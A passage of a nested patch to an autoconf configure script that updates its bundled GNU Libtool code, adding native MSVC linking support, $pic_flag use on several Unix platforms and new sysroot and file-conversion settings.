-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9703,20 +10243,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9777,7 +10360,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9785,7 +10368,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9801,7 +10384,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9825,10 +10408,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9907,23 +10490,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -10008,7 +10604,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -10027,9 +10623,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10605,8 +11201,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10639,13 +11236,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10737,7 +11392,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11533,7 +12188,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11536 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11577,10 +12232,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11639,7 +12294,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11642 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11683,10 +12338,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -16076,13 +16731,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -16097,14 +16759,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -16137,12 +16802,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -16197,8 +16862,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -16208,12 +16878,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -16229,7 +16901,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -16265,6 +16936,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -17031,7 +17703,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -17134,19 +17807,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -17176,6 +17872,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -17185,6 +17887,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -17299,12 +18004,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -17391,9 +18096,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -17409,6 +18111,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -17441,210 +18146,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
